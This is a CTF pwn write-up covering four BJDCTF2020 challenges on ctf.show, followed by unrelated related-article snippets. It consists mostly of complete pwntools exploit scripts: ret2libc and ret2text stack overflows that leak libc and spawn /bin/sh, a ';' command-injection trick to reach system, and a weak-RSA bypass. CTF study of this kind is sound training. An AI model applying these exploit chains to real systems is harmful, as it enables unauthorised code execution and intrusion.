PWN-PRACTICE-CTFSHOW-4

PWN-PRACTICE-CTFSHOW-4

    • BJDCTF2020-babyrouter
    • BJDCTF2020-babystack
    • BJDCTF2020-dizzy
    • BJDCTF2020-encryptde stack

BJDCTF2020-babyrouter

栈溢出,ret2libc

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28034)
elf=ELF("./pwn1")puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main_addr=0x4006AD
pop_rdi=0x400733
ret=0x4004c9io.recvuntil("tell me u story!\n")
payload="a"*0x20+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x06f690
system=libc_base+0x045390
binsh=libc_base+0x18cd57io.recvuntil("tell me u story!\n")
payload="a"*0x20+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(main_addr)
io.sendline(payload)io.interactive()

BJDCTF2020-babystack

栈溢出,ret2text

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28177)
elf=ELF("./pwn1")io.sendlineafter("the length of your name:\n","-1")backdoor=0x4006E6
ret=0x400561
io.recvuntil("u name?\n")
payload="a"*0x10+"b"*8+p64(ret)+p64(backdoor)
io.sendline(payload)io.interactive()

BJDCTF2020-dizzy

利用linux系统命令行多命令执行的特点

Linux 系统可以在一个命令行上执行多个命令:; --如果命令被分号(;)所分隔,那么命令会连续的执行下去,就算是错误的命令也会继续执行后面的命令&& --如果命令被 && 所分隔,那么命令也会一直执行下去,但是中间有错误的命令就不会执行后面的命令,没错就继续执行直至命令执行完为止|| --如果命令被双竖线 || 所分隔,那么一遇到可以执行成功的命令就会停止执行后面的命令,而不管后面的命令是否正确。如果执行到错误的命令就是继续执行后一个命令,直到遇到执行到正确的命令或命令执行完为止

构造输入,使之能在进行加0x1BF52后得到"PvvN| 1S S0 GREAT!;/bin/sh\x00",分号前的命令会失败,但仍然会执行system("/bin/sh\x00")

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28161)
elf=ELF("./pwn1")s="PvvN| 1S S0 GREAT!;/bin/sh".ljust(80,"\x00")
arr=[]
for i in range(0,len(s),4):tmp=hex(ord(s[i+3]))[2:].zfill(2)tmp+= hex(ord(s[i + 2]))[2:].zfill(2)tmp+= hex(ord(s[i + 1]))[2:].zfill(2)tmp+= hex(ord(s[i + 0]))[2:].zfill(2)arr.append(int(tmp,16))
for i in range(len(arr)):arr[i]-=0x1BF52#io.recvuntil("Let's play this!")
for i in range(20):io.sendline(str(arr[i]))io.interactive()

BJDCTF2020-encryptde stack

程序打印随机数作为RSA密文,解RSA得到明文,循环20次,然后栈溢出,ret2libc

# -*- coding:utf-8 -*-
from pwn import *
import libnum
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28163)
elf=ELF("./pwn1")n=94576960329497431
e=65537
p=261571747
q=361571773
phin=(p-1)*(q-1)
d=libnum.invmod(e,phin)io.recvuntil("to encrypt it\n")
for i in range(20):c=int(io.recvuntil("\n")[:-1])m=pow(c,d,n)io.sendline(str(m))io.recvline()puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
vuln_addr=0x400B30
pop_rdi=0x40095a
ret=0x4006e1io.recvuntil("inpu1t you name:\n")
payload="a"*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x06f690
system=libc_base+0x045390
binsh=libc_base+0x18cd57io.recvuntil("inpu1t you name:\n")
payload="a"*0x48+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(vuln_addr)
io.sendline(payload)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438007.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL Server 登录更换【Windows身份验证】为【SQL Server 身份验证】

1、安装好 SQL Server 后,使用 Windows 身份验证登陆SQL,然后在服务器上右键,选择【属性】,在弹出的窗口中选择【安全性】,在服务器身份验证项里勾选【SQL Server 和 Windows 身份验证模式】,点击确定保存 …

基于.NET平台的分层架构实战(二)——需求分析与数据库设计

基于.NET平台的分层架构实战(五)——接口的设计与实现 基于.NET平台的分层架构实战(四)——实体类的设计与实现 基于.NET平台的分层架构实战(三)——架构概要设计 基于.NET平台的分层架构实战&#xff0…

PWN-PRACTICE-CTFSHOW-5

PWN-PRACTICE-CTFSHOW-5BJDCTF2020-router36D杯-签到36D杯-babyFmtstr36D杯-MagicStringBJDCTF2020-router 36D杯-签到 栈溢出&#xff0c;用ROPgadget找到一个"sh"字符串&#xff0c;ROP&#xff0c;程序过滤了cat和空格&#xff0c;more<flag绕过即可 # -*- c…

Hexo 博客自定义一个不使用主题模板渲染的独立页面

2022-01-25 更新&#xff1a;博客新地址&#xff1a;https://www.itbob.cn/&#xff0c;文章距上次编辑时间较远&#xff0c;部分内容可能已经过时&#xff01; Hexo 是一个轻量、快速&#xff0c;简单和强大的博客框架&#xff0c;当我们需要发布博文的时候&#xff0c;只需要…

log4net部分配置说明

第一步&#xff1a; 添加并应用Log4net.dll。然后在Web.config文件中添加下面的配置局 <configSections> <section name"log4net" type"log4net.Config.Log4NetConfigurationSectionHandler, log4net" /> </configSections> 第二步…

网站ICP备案和公安备案流程

2022-01-25 更新&#xff1a;博客新地址&#xff1a;https://www.itbob.cn/&#xff0c;文章距上次编辑时间较远&#xff0c;部分内容可能已经过时&#xff01; 文章目录-- ICP备案 1、填写信息验证备案类型2、产品验证3、填写网站信息4、上传资料5、人脸核验或幕布拍照核验6、…

PWN-PRACTICE-CTFSHOW-6

PWN-PRACTICE-CTFSHOW-636D杯-MengxinStack36D杯-tang1024杯-1024_happy_stack1024杯-1024_happy_checkin36D杯-MengxinStack 程序开了canary和PIE保护 泄露远程libc版本&#xff0c;为 libc6_2.23-0ubuntu10_amd64.so from pwn import * ioremote("pwn.challenge.ctf.s…

CSS 与其预处理语言 Sass、Less、Stylus 之间的转化

预处理语言的由来&#xff1a;CSS 是一门非程序式语言&#xff0c;没有变量、函数、SCOPE&#xff08;作用域&#xff09;&#xff0c;需要书写大量看似没有逻辑的代码&#xff0c;不方便维护及扩 展&#xff0c;不利于复用&#xff0c;为了让 CSS 富有逻辑性&#xff0c;短板不…

7款免费原型设计工具

身为一位产品经理或设计师&#xff0c;原型设计工具是必不可少的工作伙伴。但我们难免会遇到预算有限的时候&#xff0c;这时候&#xff0c;去哪里寻找一款好用的免费原型设计工具呢&#xff1f;以下&#xff0c;小编为大家精心挑选了7款免费的原型工具&#xff0c;并对其进行了…

PWN-PRACTICE-CTFSHOW-7

PWN-PRACTICE-CTFSHOW-7大吉大利杯-easyrop大牛杯-guess吃鸡杯-win_pwn吃鸡杯-easy_canary大吉大利杯-easyrop 栈溢出&#xff0c;SROP # -*- coding:utf-8 -*- from pwn import * context.log_level"debug" context.arch"amd64" #32位和64位的sigframe结…

【译】谨慎使用CSS中的波浪选择器

最近我的一些项目都遇到了一些类似的样式问题。它们都错误地使用了波浪选择器&#xff0c;并造成了很多地方的CSS代码臃肿( CSS Bloat )。大家可能以前也都遇到或者使用过波浪选择器&#xff0c;毕竟它作为CSS选择器已经很长时间了&#xff0c; 甚至IE7都支持 。波浪选择器用来…

HTML + CSS 实现 GitHub 项目标签、徽章样式

经常会在GitHub上项目介绍的README.md文件中看到许多漂亮的标签&#xff0c;这些标签可以显示version、stars、license等信息 我们可以通过 https://shields.io/ 这个网站在线制作图标&#xff0c;填写label、message、color三个字段&#xff0c;点击Make Badge就可以生成图标…

PWN-PRACTICE-CTFSHOW-8

PWN-PRACTICE-CTFSHOW-8吃瓜杯-wuqian月饼杯II-简单的胖月饼杯II-容易的胖击剑杯-pwn01-My_sword_is_ready吃瓜杯-wuqian 栈溢出&#xff0c;ret2text # -*- coding:utf-8 -*- from pwn import * context.log_level"debug" #ioprocess("./pwn1") ioremot…

nuget 包版本冲突解决 packages.config

开发项目中安装了Newtonsoft.Json组件&#xff0c;遇到了必须给Newtonsoft.Json降版本的问题。 原因是&#xff1a;项目是MVC项目&#xff0c;WebApi模块必须使用framework4.5.0.0的版本。而我们在安装其他组件时&#xff0c;不小心升级了Newtonsoft.Json,导致了系统可以编译通…

instant.page —— 一个 JS 脚本实现网站预加载,提升页面加载速度

instant.page 使用即时预加载技术&#xff0c;在用户点击之前预先加载页面。当用户的鼠标悬停在一个链接上超过 65 毫秒时&#xff0c;浏览器会对此页面进行预加载&#xff0c;当用户点击链接后&#xff0c;就从预加载的缓存中直接读取页面内容&#xff0c;从而达到缩短页面加载…

陀螺仪、罗经、IMU、MEMS四者的区别

罗经&#xff1a;罗经是航行器用来测量运动方位的&#xff0c;辅助定位的仪器。 磁罗经&#xff1a;磁罗经可以形象的看成指南针电罗经&#xff1a;电罗经就要用到用电源驱动的陀螺仪。 陀螺仪&#xff1a;是一种物体角运动测量装置。通过对陀螺仪双轴基点在不同运动状态下偏移…

PWN-COMPETITION-HGAME2022-Week1

PWN-COMPETITION-HGAME2022-Week1enter_the_pwn_landenter_the_evil_pwn_landoldfashion_orwser_per_fatest_your_nctest_your_gdbenter_the_pwn_land 栈溢出&#xff0c;需要注意的是下标 i 的地址比输入s的地址更高 s溢出会覆盖 i &#xff0c;于是需要小心地覆写 i 的值&am…

Hexo 博客添加 README.md 以及部署到 GitHub 丢失/显示不正常解决方法

GitHub 项目的README.md为自述文件&#xff0c;可对该项目进行介绍&#xff0c;解释等。 使用 Github Pages 和 Hexo 搭建的博客&#xff0c;如果在最开始建立仓库的时候没有创建README.md文件&#xff0c;那么在后期如何添加呢&#xff1f; 添加方法&#xff1a;在根目录 so…

REVERSE-COMPETITION-HGAME2022-Week1

REVERSE-COMPETITION-HGAME2022-Week1easyasmcreakmeFlag Checker猫头鹰是不是猫easyasm 程序一开始将si设置为0&#xff0c;然后si和28比较&#xff0c;如果si小于28则进入循环 循环体中&#xff0c;si作为下标&#xff0c;从输入中取值存入al&#xff0c;然后al左移4位&…

Failed to instantiate file__from module__The specified list does

Hello, I have a problem creating a site collection from my onet.xml. I guess the list “Pages” is not created correctly. What do I need to get it created? The error message; Failed to instantiate file "Default.aspx" from module "ProjectP…